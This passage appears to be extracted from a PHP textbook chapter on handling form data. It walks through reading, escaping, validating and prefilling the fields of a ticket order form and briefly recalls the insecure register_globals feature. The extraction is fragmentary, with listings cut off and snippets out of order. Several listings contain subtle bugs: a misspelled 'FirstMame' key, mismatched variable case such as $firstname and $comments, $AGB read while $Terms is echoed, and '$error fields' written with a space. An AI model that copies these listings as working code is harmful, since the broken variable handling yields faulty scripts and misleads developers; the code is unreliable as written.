$data = $ENV{"QUERY_STRING"};
}
@pairs = split("&", $data);
foreach $pairs (@pairs) {
$pairs =~ tr/+/ /;
$pairs =~ s/%(..)/pack("C", hex($1))/eg;
($name, $value) = split("=", $pairs);
$form{$name} = $value;
}
foreach $name (keys($form))
{
print "<b>$name: </b>$form{$name}<br />\n";
}
Compared to the original, the code has been shortened somewhat. The problem with
this listing is that it is not exactly easy to understand without knowledge of Perl. PHP
was seen as a Perl competitor, especially in the early days, and had a powerful advan-
tage: It was much simpler. Nowadays, Perl has long since been left behind by PHP in the
web sector.
Nevertheless, we would like to take up the cudgels for Perl at this point. We used to use
it a lot, especially in the past. Perl is often derisively referred to as the Swiss chainsaw
because it can do a lot. PHP is of course the better choice for web use as it was developed
specifically for the web and therefore has a lot of functionality that has to be retrofitted
to Perl. One example is the previous code, which outputs all form data. There is also the
well-known CGI.pm module for Perl, which greatly simplifies this. In principle, every-
thing is possible with Perl—but that is probably the subject for another book.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<h1>Form Data</h1>
<?php
echo "Salutation: $Salutation<br />";
echo "First name: $FirstName<br />";
echo "Last name: $LastName<br />";
echo "Email: $Email<br />";
echo "Promo code: $Promo<br />";
echo "Number of tickets: $Number<br />";
echo "Section: $Section<br />";
echo "Comments: $Comments<br />";
echo "Terms & conditions: $Terms";
?>
<option value="3">3</option>
<option value="4">4</option>
</select><br />
Desired section in the stadium
<select name="Section[]" size="4" multiple="multiple">
<option value="north">North</option>
<option value="south">South</option>
<option value="east">East</option>
<option value="west">West</option>
</select><br />
Comments/Notes
<textarea cols="70" rows="10" name="Comments"></textarea><br />
<input type="checkbox" name="Terms" value="ok" />
I accept the terms & conditions.<br />
<input type="submit" name="Submit" value="Place order" />
</form>
</body>
</html>
Figure 13.2 shows the output of the script as you would have seen it in PHP a long, long
time ago. However, if you try it yourself, you will almost certainly get a result like the
one shown in Figure 13.3—either error messages or no output at all.
What is the reason? As simple as this approach was, it also encouraged sloppy program-
ming. Even worse, it allowed users (and therefore attackers) to create variables in the
PHP script by simply sending a corresponding form (or appending data to the URL).
For this reason, after a long, controversial discussion (in which PHP inventor Lerdorf
was on the side of the "leave it as it is" faction), the PHP developers decided to make a
change: A configuration option was introduced to prevent access to global variables
generated by form data. This feature was already completely removed in PHP 5.5, so the
insecure short access (to fulfill the chronicler obligations; the option was called register_
globals) is fortunately no longer possible.
In this book, of course, we use a different method that also works reliably. We rely on
special available arrays that contain the form data.
These arrays were global, but only in the main program. Within a function, you had to
manually fetch these arrays into the global context using global:
function AnyFunction() {
global $HTTP_POST_VARS;
}
However, superglobal arrays go one step further: they are also global within func-
tions—that is, superglobal. You therefore do not need to use global at this point.
However, the main reason why we do not use the $HTTP_*_VARS arrays in this book is
different: Just like the global form data ($fieldname), this mode is no longer available
since PHP 5.5. And even before that, the feature could be disabled; the php.ini setting
was called register_long_arrays.
Note
If no value is specified for method, the browser automatically uses GET.
POST is therefore generally used when a form is actively sent. To transfer data to a
page, such as with a content management system (CMS), it is advisable to use GET. For
example, the number of the news article is specified in the URL.
1 There are also other HTTP methods, but these are less common in web applications (with the excep-
tion of APIs).
Now to the superglobal arrays: $_REQUEST contains all form data (and also cookies; see
Chapter 14), regardless of whether you use GET or POST. It makes more sense to access
the $_POST and $_GET special arrays for POST and GET data, respectively.
Where the form is sent to is specified (for GET and POST) in the action attribute of the
<form> tag. With GET, the form data is also automatically appended to this address.
However, most PHP scripts look like this: both the form itself and the PHP code that
evaluates the form data are in the same file. One of the advantages of this is that every-
thing is clearly arranged in one place. In many tutorials you will now find the advice to
equip the form—in this case, as follows:
The $PHP_SELF variable contains the URL of the current script. This is configuration-
dependent—but what always works is $_SERVER["PHP_SELF"]. But this is usually not
necessary. What happens if action has not been set? Let's look at the W3C HTML speci-
fication. At http://s-prs.co/v602217, it says for HTML 4 that the behavior of the browser
is undefined if the attribute is not set; in the DTD of (X)HTML, action is marked as a
mandatory attribute (#REQUIRED). However, this restriction no longer exists in HTML5.
Using action="" is still good style.
In practice, however, things look different. If a web browser does not find an action
attribute, it automatically sends the current form to the current script, which is exactly
what we want to do here. Although this is not specified anywhere, it is implemented by
all relevant browsers. But even this is dangerous:
Ahead, we add code to the form step by step in order to output the data entered. We
proceed according to the form field type. This has the advantage that you can end up
working not only with the example form, but with any form; the form field types are
always the same.
First, two important notes:
쐍 As form input may also contain HTML special characters, all output is first converted
to HTML using htmlspecialchars() beforehand.
if (isset($_GET["Field name"])) {
// ...
}
Note
We always use POST here, not GET, so we always access the form data with $_POST. If
you use GET in your form, then you must write $_GET in the same way. Otherwise, how-
ever, nothing changes. PHP also automatically takes care of any special character
encodings in the URL (and their reverse conversion).
Note
And another important note in advance: HTML distinguishes between upper- and low-
ercase for form field names, so pay attention to this when naming your form fields.
There are the same restrictions when accessing via PHP: Field, field, and FIELD are
three different form field identifiers.
Note
Most semantic form fields—such as <input type="email">, <input type="url">, and
so on—behave like text fields; that is, there is a field name and an associated value.
Listing 13.3 shows the code with which the contents of the text fields are output (see
also Figure 13.4). It is simple for text and password fields, but there is a special feature
for multiline text fields: line breaks are also possible within the text. These are con-
verted correctly using the nl2br() PHP function.
Note
When converting with nl2br(), you must first use htmlspecialchars() and only then
replace line breaks with <br />. The reason is that if you did it in the reverse order, you
would first get <br /> and then, thanks to htmlspecialchars(), the characters <br
/>, which is certainly not what you want.
<body>
<h1>Form Data</h1>
<?php
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Comments = nl2br(htmlspecialchars($Comments));
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Comments:</b> $Comments<br />";
?>
<h1>World Cup ticket service</h1>
<form method="post">
Listing 13.3 Output of the Text Field Data (Excerpt from "form-output-textfields.php")
Tip
You can access hidden form fields (<input type="hidden" />) in exactly the same way!
Note
Only the value of the radio button is used, not its label!
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST["Salutation"]))
?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Comments = nl2br(htmlspecialchars($Comments));
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Comments:</b> $Comments<br />";
?>
13.2.5 Checkboxes
Some HTML instructions recommend placing checkboxes into groups and giving each
checkbox in the group the same name. However, this is nonsensical because there is no
grouping of checkboxes. Each checkbox stands alone; HTML does not offer restrictions
of the "Only three of these five checkboxes may be selected" type. You would have to
use JavaScript for this.
Under this premise, it is easy to understand how access to a checkbox works with PHP:
$_GET["Field"] or $_POST["Field"] contains the value of the checkbox if it has been
selected. If it has not been selected, the array element does not exist.
Tip
There are always people who omit the value attribute from checkboxes. In this case,
browsers transfer the "on" value if the checkbox has been selected. Nevertheless, you
should not rely on this and should always use the value attribute instead.
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Terms = (isset($_POST["Terms"]) && is_string($_POST["Terms"])) ?
$_POST["Terms"] : "";
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Comments = nl2br(htmlspecialchars($Comments));
$Terms = htmlspecialchars($Terms);
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Comments:</b> $Comments<br />";
echo "<b>Terms & conditions:</b> $Terms<br />";
?>
Tip
Again, the question arises: What happens if there is no value attribute? The answer in
this case is that the label is used—that is, what is between <option> and </option>. The
same applies here: do not rely on this; instead, always set the value attribute for each
list element.
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Number = (isset($_POST["Number"]) && is_string($_POST["Number"])) ?
$_POST["Number"] : "";
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$AGB = (isset($_POST["AGB"]) && is_string($_POST["AGB"])) ?
$_POST["AGB"] : "";
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Number = htmlspecialchars($Number);
$Comments = nl2br(htmlspecialchars($Comments));
$AGB = htmlspecialchars($AGB);
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Number of tickets:</b> $Number<br />";
echo "<b>Comments:</b> $Comments<br />";
echo "<b>Terms & conditions:</b> $Terms<br />";
?>
Listing 13.6 Output of the Selected List Element (Excerpt from "form-output-selectlists.php")
The situation is slightly different with multiple selection lists as several values can be
returned at once. You may have already noticed a special feature in the HTML code of
the selection list. It is printed here once again:
The name of the list therefore ends with []. You may have guessed what this is
intended to do: It makes it clear to PHP that this is a multiple selection list and that the
data from it should be stored in an array. And that's the whole trick: In $_GET["field
name"] or $_POST["field name"], multiple lists contain an array with the values of all
selected list elements. (We can therefore dispense with the is_string() check and use
is_array() instead!) The code in the following listing reads this data.
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstMame"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
Listing 13.7 Output of the Selected List Elements (Excerpt from "form-output-multiselect-
lists.php")
<?php
if (isset($_POST["LastName"]) && $_POST["LastName"] != "") {
//Output data
}
?>
This will fail if this field is left empty. But there are other possibilities. For example, PHP
remembers in an environment variable how the current page was called: via GET or
POST. So if you have a POST form (as in our example), the query is very simple:
<?php
if (isset($_SERVER["REQUEST_METHOD"]) &&
$_SERVER["REQUEST_METHOD"] == "POST") {
//Output data
}
?>
But this is also doomed to failure if the form is sent via GET. The safest method is
another little trick. You may have noticed that we have also given the send button a
name, which is actually unnecessary:
We did this because we had the following detail in mind: Just as with other form ele-
ments, $_GET["Field"] or $_POST["Field "] also provides the value of the value attri-
bute for these buttons. Normally, this would be nonsensical because the label for a
button is in value and cannot be changed by the user. However, it is also a very conve-
nient way to determine whether a form has been sent or not. If (in this example) $_
POST["Submit"] is set, the form has just been sent; otherwise, it has not.
To conclude this section, examine the following complete version of the script. An if
query is used to display either the form or the data that the user has entered in it.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
if (isset($_POST["Submit"])) {
?>
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstMame"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Number = (isset($_POST["Number"]) && is_string($_POST["Number"])) ?
$_POST["Number"] : "";
$Section = (isset($_POST["Section"]) && is_array($_POST["Section"])) ?
$_POST["Section"] : [];
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Terms = (isset($_POST["Terms"]) && is_string($_POST["Terms"]))
? $_POST["Terms"] : "";
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Number = htmlspecialchars($Number);
$Section = htmlspecialchars(implode(" ", $Section));
$comments = nl2br(htmlspecialchars($comments));
$Terms = htmlspecialchars($Terms);
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Number of tickets:</b> $Number<br />";
<?php
} else {
?>
<h1>World Cup Ticket Service</h1>
<form>
<input type="radio" name="Salutation" value="Mr." />Mr.
<input type="radio" name="Salutation" value="Ms." />Ms. <br />
First name <input type="text" name="FirstName" /><br />
Last name<input type="text" name="LastName" /><br />
Email address <input type="text" name="Email" /><br />
Promo code <input type="password" name="Promo" /><br />
Number of tickets
<select name="Number">
<option value="0">Please select</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select><br />
Desired section in the stadium
<select name="Section[]" size="4" multiple="multiple">
<option value="north">North</option>
<option value="south">South</option>
<option value="east">East</option>
<option value="west">West</option>
</select><br />
Comments/Notes
<textarea cols="70" rows="10" name="Comments"></textarea><br />
<input type="checkbox" name="Terms" value="ok" />
I accept the terms & conditions.<br />
<input type="submit" name="Submit" value="Place order" />
</form>
<?php
}
?>
</body>
</html>
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
}
if ($ok) {
?>
<h1>Form Data</h1>
<?php
// ...
?>
<?php
}
}
if (!$ok) {
?>
<h1>World Cup Ticket Service</h1>
<form method="post">
...
</form>
<?php
}
?>
</body>
Listing 13.9 All Text Fields Are Mandatory Fields (Excerpt from "form-validation-text-
fields.php")
Let’s explain what happens here: Initially, it is assumed that the form must be dis-
played, which is why $ok is set to false. If, on the other hand, the form has just been
sent, then the PHP script initially assumes that everything is OK ($ok = true). If no error
occurs (if ($ok)), then the form data is output. However, if an error occurs (if (!$ok)),
then the form itself is output. Of course, this also occurs if the page is called up directly
without sending the form. This is why there is the if (!$ok) stand-alone query at the
end of the script.
Tip
In the event of an error, the form is displayed directly—without any feedback that
there was an error at all. The following code snippet directly before if ($ok) fixes this:
if (!$ok) {
echo "<p><b>Form incomplete</b></p>";
}
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
}
Listing 13.10 The Radio Button Group Is a Mandatory Field (Excerpt from "form-validation-
radiobuttons.php")
13.3.3 Checkboxes
The validation of a checkbox is carried out in the same way as the validation of radio
buttons: It is only necessary to check whether a value has been passed to the PHP script
for the form element. The following code (as always, changes are highlighted in bold)
does this for the terms and conditions checkbox in our example.
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
}
if (!isset($_POST["Terms"]) ||
!is_string($_POST["Terms"])) {
$ok = false;
}
<select name="Number">
<option value="0">Please select</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select>
A list element is always activated here when the form is sent. You must therefore note
in your PHP script which element corresponds to the not filled in status. In the exam-
ple, this is the top value with the value attribute 0. The following listing shows the cor-
responding query in context.
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
}
if (!isset($_POST["Number"]) ||
!is_string($_POST["Number"]) ||
$_POST["Number"] == "0") {
$ok = false;
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
}
if (!isset($_POST["Terms"]) ||
!is_string($_POST["Terms"])) {
$ok = false;
}
Listing 13.12 The Selection List Is a Mandatory Field (Excerpt from "form-validation-select-
lists.php")
Tip
Once again, you will see the double check, first with isset() and second directly via the
value in the selection list. This avoids embarrassing error messages if a joker tries to
send a completely empty form (without a selection list) to your script.
With multiple selection lists, several elements are always displayed at once. If the user
does not want to make any entries, then no information is sent to the web server. The
check using isset() is therefore sufficient here.
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
}
if (!isset($_POST["Number"]) ||
!is_string($_POST["Number"]) ||
$_POST["Number"] == "0") {
$ok = false;
}
if (!isset($_POST["Section"]) ||
!is_array($_POST["Section"])) {
$ok = false;
}
if (!isset($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
}
if (!isset($_POST["Terms"]) ||
!is_string($_POST["Terms"])) {
$ok = false;
}
Listing 13.13 The Multiple Selection List Is a Mandatory Field (Excerpt from "form-validation-
multiselectlists.php")
Tip
If you have a multiple selection list with several entries ("Please select" option, hyphens,
etc.), then you must of course perform a somewhat more complex form of check. First,
you need a helper function that determines whether an array only contains "garbage."
In our example, these are empty strings and zeroes; adapt this to your requirements:
function array_empty($a) {
if (!is_array($a)) {
return true;
}
foreach ($a as $value) {
if ($value != "" && $value != "0") {
return false;
}
}
return true;
}
The multiple selection list check is then called up as follows:
if (!isset($_POST["Section"]) ||
!is_array($_POST["Section"]) ||
array_empty($_POST["Section"])) {
$ok = false;
}
Sample Test
The previous checks were rather trivial. Fields were mandatory, meaning that they had
to contain something. Of course, this is only a small subset of what is actually possible.
In the example form, there is an Email field, which should of course contain an email
address. It is clear how the check takes place here: It is checked for a regular expres-
sion.2 Depending on whether the user input matches the search pattern or not, the
variable $ok is set to false or left as it is. Consider the following corresponding code
snippet:
if (!isset($_POST["Email"]) ||
trim($_POST["Email"]) == "" ||
!preg_match(
'/^[_a-zA-Z0-9_\-.]+@[a-zA-Z0-9\-.]+\.[a-zA-Z]{2,6}$/',
$_POST["Email"])) {
$ok = false;
}
The regular expression looks wild, but only says this: There is a series of permitted
characters, a bracket, then many permitted characters, including at least one dot, and
after that two to six characters, the domain extension. Of course, there are much more
detailed and probably better validation expressions for emails, but nobody goes to the
trouble to rummage through the associated RFC (www.ietf.org/rfc/rfc2822.txt). In prin-
ciple, it is only a matter of catching unintentional input errors, so strictly speaking, a
check for an @ sign would almost suffice.3 With the increasing spread of international
domain names, there is a problem anyway, as the regular expression does not recog-
nize permitted special characters such as umlauts in the domain name; the \w expres-
sion may help here.
Here are two more useful expressions:
쐍 ^(\w-)?(\d{5})$ (for a US postal code)
쐍 ^(\d|1?\d\d|2[0-4]\d|25[0-5])\.(\d|1?\d\d|2[0-4]\d|25[0-5])\.(\d|1?\d\d|2[
0-4]\d|25[0-5])\.(\d|1?\d\d|2[0-4]\d|25[0-5])$ (for a valid IP address [IPv4])
2 In this case, it is advisable to go back to Chapter 10, where regular expressions are discussed in
detail.
3 A little anecdote at this point: In a private project, the author of these lines wanted to implement a
particularly strict syntax check of email addresses. But that didn't help: Two people mistyped and
ended their email addresses with .ed instead of .de. The only thing that helps here is the use of two
text fields for email addresses as the probability of someone mistyping the same email address
twice is low. On the other hand, the probability that the email address will be typed once (incor-
rectly) and then copied and pasted into the second field is rather high.
echo "<ul><li>";
echo implode("</li><li>", $error fields);
echo "</li></ul>";
With this small but effective trick, you get a list display with little effort. The complete
example is provided in the following listing.
<html>
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
$ok = false;
$errorfields = [];
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
$errorfields[] = "Salutation";
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
$errorfields[] = "First name";
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
$errorfields[] = "Last name";
}
if (!isset($_POST["Email"]) ||
!is_string($_POST["Email"]) ||
trim($_POST["Email"]) == "") {
$ok = false;
$errorfields[] = "Email";
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
$errorfields[] = "Promo";
}
if (!isset($_POST["Number"]) ||
!is_string($_POST["Number"]) ||
$_POST["Number"] == "0") {
$ok = false;
$errorfields[] = "Number of tickets";
}
if (!isset($_POST["Section"]) ||
!is_array($_POST["Section"])) {
$ok = false;
$errorfields[] = "Section";
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
$errorfields[] = "Comments";
}
if (!isset($_POST["Terms"]) ||
!is_string($_POST["Terms"])) {
$ok = false;
$errorfields[] = "Terms & conditions";
}
if ($ok) {
?>
<h1>Form Data</h1>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"])) ?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Number = (isset($_POST["Number"]) && is_string($_POST["Number"])) ?
$_POST["Number"] : "";
$Section = (isset($_POST["Section"]) && is_array($_POST["Section"])) ?
$_POST["Section"] : [];
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Terms = (isset($_POST["Terms"]) && is_string($_POST["Terms"])) ?
$_POST["Terms"] : "";
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Number = htmlspecialchars($Number);
$Section = htmlspecialchars(implode(" ", $Section));
$Comments = nl2br(htmlspecialchars($Comments));
$Terms = htmlspecialchars($Terms);
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Number of tickets:</b> $Number<br />";
echo "<b>Section:</b> $Section<br />";
echo "<b>Comments:</b> $Comments<br />";
echo "<b>Terms & conditions:</b> $Terms<br />";
?>
<?php
} else {
echo "<p><b>Form incomplete</b></p>";
echo "<ul><li>";
echo implode("</li><li>", $errorfields);
echo "</li></ul>";
}
}
if (!$ok) {
?>
<h1>World Cup Ticket Service</h1>
<form method="post">
Listing 13.14 The Form Validation, Now with a Detailed Error Message ("form-validation-
detailed.php")
Tip
If you like, you can make the form a little more efficient. You do not actually need the
$ok variable. Check whether there is anything in $errorfields at all. If not, then no
error has occurred. You only need to intercept the case in which the form is not dis-
played at all when the PHP page is called up for the first time. To do this, either use a
new auxiliary variable or a special dummy entry in $errorfields. This may make the
script shorter, but not necessarily nicer.
13.4 Prefill
We described the previous form check as "not constructive" a few pages earlier. This is
still the case—detailed error message or not. Imagine if the form was a little longer and
a user filled it out, which would certainly take five minutes. Unfortunately, the user for-
got an important field. So he receives an error message and wants to fill in the missing
field. But to his annoyance, the form is displayed empty again. In other words, the user
has to fill all the fields in again.
On some (cheaper) websites, the developers take a very simple approach and ask the
user to simply press the Back button in their web browser. Unfortunately, this does not
always work as not all browsers cache all information; this also depends on the local
settings, memory usage, and other general conditions.
The Back button approach is therefore not practical; on the contrary, it is out of the
question. The only really feasible solution is to prefill the form with values that have
already been entered.
Unfortunately, this approach has one disadvantage: it can sometimes be very laborious
and time-consuming. This may well be the reason why it is left out of many books.
However, it is a fact that this technique is required by clients and should be part of
every PHP developer's toolkit. In our opinion, this topic should therefore not be omit-
ted. And the tedious work of the following subsections has two advantages: First, the
technique shown is always the same, so you can easily transfer it to your own forms.
And second, you have a form that really helps the user to provide the required informa-
tion—moving one more step toward a professional website.
13.4.1 Preparations
To be able to implement the prefilling as easily as possible, small changes are necessary in
the previous script. It is clear what needs to be done: The previous form entries must be
